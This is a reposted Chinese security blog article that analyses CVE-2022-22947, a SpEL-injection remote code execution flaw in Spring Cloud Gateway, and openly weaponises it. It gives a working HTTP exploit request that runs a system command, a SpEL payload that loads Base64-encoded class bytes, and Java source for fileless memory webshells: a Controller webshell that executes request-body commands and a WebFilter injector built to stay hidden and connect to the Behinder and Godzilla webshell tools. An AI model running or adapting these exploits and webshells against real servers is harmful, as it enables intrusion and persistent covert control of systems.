从CVE-2022-22947到Spring WebFlux内存马与哥斯拉

admin 2022年5月17日11:33:26评论223 views字数 13409阅读44分41秒阅读模式

更多全球网络安全资讯尽在邑安全

漏洞分析

漏洞原理:本质属于SpEL表达式注入漏洞,可通过ShortcutConfigurable#getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue)对可控表达式通过StandardEvaluationContext进行解析从而造成RCE。

调试分析

调试分析的POC采用:

POST /actuator/gateway/routes/rce HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:8000
Connection: close
User-Agent: Paw/3.3.5 (Macintosh; OS X/12.2.0) GCDHTTPRequest
Content-Length: 362

{
"id": "rce",


"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://localhost:8080",
"order": 2
}

老规矩,在触发点断点以回溯函数调用栈。我们需要控制entryValue即可实现SpEL表达式注入。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
在上一个调用函数中可以观察到,会根据ShortcutType的类型执行不同的normalize函数。虽然这里调用栈是走的DEFAULT,但是其他类型的normalize函数也会进行SpEL表达式执行。他们同样都需要对normalize函数参数的args进行控制,使得其某一个entry的value为恶意SpEL表达式字符串。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
函数参数args再对应到上一个函数调用的properties参数。回顾前面的Poc可知,即"filters"的"args"。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
再向上回溯,发现是在bind()的流程中会进行一个参数解析的触发。那么查看Callers of bind即可知道有哪些触发机会。其中橘色方框的loadGatewayFilters触发链即为前面AddResponseHeader Filter的触发链,绿色的combinePredicates链表明,在route definition时声明一个Predicates一样能触发SpEL表达式注入。
也就是说,除了如果需要回显可能会对链的选择有所限制,实际上几乎所有的通过内置验证的Filters、Predicates都可以实现SpEL表达式注入。这个有师傅已经做了比较详尽的分析,参见REF[10]。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
convertToRoute则会在路由初始化的时候触发,详见REF[9]。

从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉

武器化研究

内存马注入

Spring Cloud Gateway是基于Spring WebFlux实现的,如下图所示,可以注入Netty内存马或者Spring内存马。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
Netty内存马的EXP已经有师傅在GitHub上给出,下面主要是Spring的内存马分析与编写。

SPEL表达式注入字节码

From: c0ny1 详见REF[3]

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

其中'yv66vgAAA....'为Base64Encode的字节码,可通过如下代码生成:

import org.springframework.util.Base64Utils;

import java.io.*;
import java.nio.charset.StandardCharsets;

public class EncodeShell {
public static void main(String[] args){
byte[] data = null;
try {
InputStream in = new FileInputStream("MemShell.class");
data = new byte[in.available()];
in.read(data);
in.close();
} catch (IOException e) {
e.printStackTrace();
}
String shellStr = Base64Utils.encodeToString(data);
System.out.println(shellStr);
try {
OutputStream out = new FileOutputStream("ShellStr.txt");
out.write(shellStr.getBytes(StandardCharsets.UTF_8));
out.flush();
out.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}

Spring Controller内存马

参考基于内存 Webshell 的无文件攻击技术研究这篇文章,作者提出了3中注册方法。

  1. 在 spring 4.0 及以后,可以使用 RequestMappingHandlerMapping#requestMapping 注册,这是最直接的一种方式。

  2. 针对使用 DefaultAnnotationHandlerMapping 映射器的应用,使用org.springframework.web.servlet.handler.AbstractUrlHandlerMapping#registerHandler

  3. 针对使用 RequestMappingHandlerMapping 映射器的应用,使用org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#detectHandlerMethods

重点在于,使用 registerMapping 动态注册 controller 时,不需要强制使用 @RequestMapping 注解定义 URL 地址和 HTTP 方法,其余两种手动注册 controller 的方法都必须要在 controller 中使用@RequestMapping 注解 。

Spring Cloud Gateway是Spring 5.0推出的产物,因此可以选用方法1或者2进行注入。测试代码如下,两种均可行。

package tech.portal.api.gateway.shell;

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.reactive.result.condition.PatternsRequestCondition;
import org.springframework.web.reactive.result.condition.RequestMethodsRequestCondition;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {

public static String doInject(RequestMappingHandlerMapping requestMappingHandlerMapping) {
String msg = "inject-start";
try {
firstWay(requestMappingHandlerMapping);
// originalWay(requestMappingHandlerMapping);
msg = "inject-success";
} catch (Exception e) {
msg = "inject-error";
}
return msg;
}
// 通过方法2注入
public static void originalWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
}
//通过方法1注入
public static void firstWay(RequestMappingHandlerMapping requestMappingHandlerMapping) throws NoSuchMethodException {
// 2. 通过反射获得自定义 controller 中的 Method 对象
Method method = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
// 3. 定义访问 controller 的 URL 地址
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition url = new PatternsRequestCondition(pathPattern);
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
requestMappingHandlerMapping.registerMapping(info, new SpringRequestMappingMemshell(), method);
}

public ResponseEntity executeCommand(@RequestBody String reqBody) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(reqBody).getInputStream()).useDelimiter("\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);

}
}

最终效果为:
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
但需要注意注入Controller内存马有个很大的缺点,每个Controller对应一个或者多个路由。如果你用一个新路由,可能被拦,或者方便别人溯源定位入侵时间;如果用业务已有路由,会直接对其造成覆盖,是个更糟糕的情况。

连接冰蝎

在Behinder(v3.0 Beta 9 fixed)的Server文件夹下,提供了shell.jsp。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>

根据[4]已有的分析:

shell.jsp中需要特别注意pageContext这个对象,它是jsp文件运行过程中自带的对象,可以获取request/response/session这三个包含页面信息的重要对象,对应pageContext有getRequest/getResponse/getSession方法。学艺不精,暂时没有找到从spring和tomcat中获取pageContext的方法。
但是从冰蝎的作者给出的提示可以知道,冰蝎3.0 bata7之后不在依赖pageContext,见github issue
又从源码确认了一下,在equal函数中传入的object有request/response/session对象即可

可得知,如果你不想自己写request/response/session的实现,在Java应用的Lib中必定需要以下两个类:

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

但实际发现Spring Cloud Gateway并没有这两个类,猜测可能是Spring WebFlux没有Servlet API,即在非开发者额外导入的情况下,JVM中没有HttpServletRequest、HttpServletResponse。经搜索,下图验证了猜想。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
因此武器化无法容易地实现和冰蝎的连接,需要在加载冰蝎的java代码中,将pageContext替换为一个Map,并自己实现冰蝎所用到的里面object的所有方法。

Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");

Spring WebFilter内存马

前面提到Controller的内存马的一些缺陷。其实对于Servlet API中我们更倾向于选择Filter型是同样的道理,Spring WebFlux即使换到Reactive也必然有一个「Filter」,即WebFilter。

The Web Filters are very similar to the Java Servlet Filters that they intercept requests and responses on a global level. Most importantly, the WebFilter is applicable to both annotation based WebFlux Controllers and the Functional Web framework style Routing Functions.

通过编写一个正常的Filter Demo能发现,DefaultWebFilterChain的allFilters属性存储了当前的Filer链,那么猜测是否直接修改这个属性,向里面添加一个自己编写的Filter就可以了?

@Component
@Order(value = 2)
public class NormalFilter implements WebFilter {
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
System.out.println("---NormalFilter---");
return chain.filter(exchange);
}
}

通过Java Object Searcher可以快速定位到该实例:

TargetObject = {reactor.netty.resources.DefaultLoopResources$EventLoop} 
---> group = {java.lang.ThreadGroup}
---> threads = {class [Ljava.lang.Thread;}
---> [14] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
---> this$0 = {org.springframework.boot.web.embedded.netty.NettyWebServer}
---> handler = {org.springframework.http.server.reactive.ReactorHttpHandlerAdapter}
---> httpHandler = {org.springframework.boot.web.reactive.context.WebServerManager$DelayedInitializationHttpHandler}
---> delegate = {org.springframework.web.server.adapter.HttpWebHandlerAdapter}
---> delegate = {org.springframework.web.server.handler.ExceptionHandlingWebHandler}
---> delegate = {org.springframework.web.server.handler.FilteringWebHandler}
---> chain = {org.springframework.web.server.handler.DefaultWebFilterChain}

从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
但实际上经过尝试会发现,仅仅只修改了上图的这个chain.allFilters是无法实现新增Filter的。如下图所示,我两次修改allFilters,向里面添加一个HackFilters都仅仅添加到了第一处。而遍历Filter的逻辑并不是我们之前想象的,只对第一个chain.allFilters进行遍历。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
再回头来看DefaultWebFilterChain这个类的注解,发现一个DefaultWebFilterChain实例并非对应一个Chain,而仅仅是一个Link。(不要向笔者学习,这种东西应该先看而不是GG了再看)

/**
* Default implementation of {@link WebFilterChain}.
*
* <p>Each instance of this class represents one link in the chain. The public
* constructor {@link #DefaultWebFilterChain(WebHandler, List)}
* initializes the full chain and represents its first link.
*
* <p>This class is immutable and thread-safe. It can be created once and
* re-used to handle request concurrently.
*
* @author Rossen Stoyanchev
* @since 5.0
*/
public class DefaultWebFilterChain implements WebFilterChain {......}

再根据其初始化Chain逻辑,即我们需要去new一个DefaultWebFilterChain,并插入到这条Chain上;而不是仅仅去修改一个Link的allFilters属性。

private static DefaultWebFilterChain initChain(List<WebFilter> filters, WebHandler handler) {
DefaultWebFilterChain chain = new DefaultWebFilterChain(filters, handler, null, null);
ListIterator<? extends WebFilter> iterator = filters.listIterator(filters.size());
while (iterator.hasPrevious()) {
chain = new DefaultWebFilterChain(filters, handler, iterator.previous(), chain);
}
return chain;
}

根据前面的Filter Demo,已知每次跳转下一条Link是通过return chain.filter(exchange);触发。

@Override
public Mono<Void> filter(ServerWebExchange exchange) {
return Mono.defer(() ->
this.currentFilter != null && this.chain != null ?
invokeFilter(this.currentFilter, this.chain, exchange) :
this.handler.handle(exchange));
}

可以看到对于遍历Chain,并不需要allFilters。仅仅只需要我们的DefaultWebFilterChain实例中有handler和我们自己实现的恶意Filter实例。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
handler从DefaultWebFilterChain获取即可,即使Chain是空的,依然会有一个DefaultWebFilterChain实例。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
不过既然是插入Filter,我们必然是期望其顺序能在首位。通过Java Object Searcher定位实例时就能知晓,这个Chain由org.springframework.web.server.handler.FilteringWebHandler所持有。因此笔者考虑直接把FilteringWebHandler.chain直接换掉,我们重新new一个就好了:D。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉
因此最终注册WebFilter实现如下:

public static String doInject() {
String msg = "Inject MemShell Failed";
Method getThreads = null;
try {
getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
// 获取defaultWebFilterChain
NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0",false);
ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler",false);
Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler",false);
HttpWebHandlerAdapter httpWebHandlerAdapter= (HttpWebHandlerAdapter)getFieldValue(delayedInitializationHttpHandler,"delegate",false);
ExceptionHandlingWebHandler exceptionHandlingWebHandler= (ExceptionHandlingWebHandler)getFieldValue(httpWebHandlerAdapter,"delegate",true);
FilteringWebHandler filteringWebHandler = (FilteringWebHandler)getFieldValue(exceptionHandlingWebHandler,"delegate",true);
DefaultWebFilterChain defaultWebFilterChain= (DefaultWebFilterChain)getFieldValue(filteringWebHandler,"chain",false);
// 构造新的Chain进行替换
Object handler= getFieldValue(defaultWebFilterChain,"handler",false);
List<WebFilter> newAllFilters= new ArrayList<>(defaultWebFilterChain.getFilters());
newAllFilters.add(0,new FilterMemshellPro());// 链的遍历顺序即"优先级",因此添加到首位
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
Field f = filteringWebHandler.getClass().getDeclaredField("chain");
f.setAccessible(true);
Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);// 去掉final修饰符以重新set
f.set(filteringWebHandler,newChain);
modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
msg = "Inject MemShell Successful";
}
}
} catch (Exception e) {
e.printStackTrace();
}
return msg;
}

连接哥斯拉

这一部分已经有师傅实现了Controller版本(REF[7]),因此改一部分内容即可。需要注意有几个点:

  1. 既然是filter,必然要具有更强的优势,即对任意路由请求都可以,只要携带了指定特征。但不能影响正常业务。

  2. webflux是基于响应式编程模型的,因此程序流和正常的不太一样。编写逻辑和调试有一些难度。

完整代码后续会在GitHub上给出(会在评论区发出Link以告知)。为了解决1的问题,我新增了一个Header作为判定条件,这个也可以随意自定义。刚好哥斯拉也提供了在请求配置中修改header的功能。从CVE-2022-22947到Spring WebFlux内存马与哥斯拉

String authorizationHeader = exchange.getRequest().getHeaders().getFirst(HttpHeaders.AUTHORIZATION);
if(authorizationHeader != null && authorizationHeader.equals(auth)) {......}

如果有更好的解决方案希望能进行交流,大佬们ddw。

最终EXP效果

ENV - JDK8

vulhub/spring/CVE-2022-22947
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉

ENV - JDK11

spring-cloud-gateway-0.0.1-SNAPSHOT.jar From vulhub/spring/CVE-2022-22947
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉

其他

需要注意高版本JDK因为进行大量敏感反射操作可能会产生如下log记录,有助于监控攻击。不过这个作者还没有进一步探究。
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉

原文来自: xz.aliyun.com

原文链接: https://xz.aliyun.com/t/11331

欢迎收藏并分享朋友圈,让五邑人网络更安全

从CVE-2022-22947到Spring WebFlux内存马与哥斯拉

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



原文始发于微信公众号(邑安全):从CVE-2022-22947到Spring WebFlux内存马与哥斯拉

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日11:33:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从CVE-2022-22947到Spring WebFlux内存马与哥斯拉https://cn-sec.com/archives/1014092.html

发表评论

匿名网友 填写信息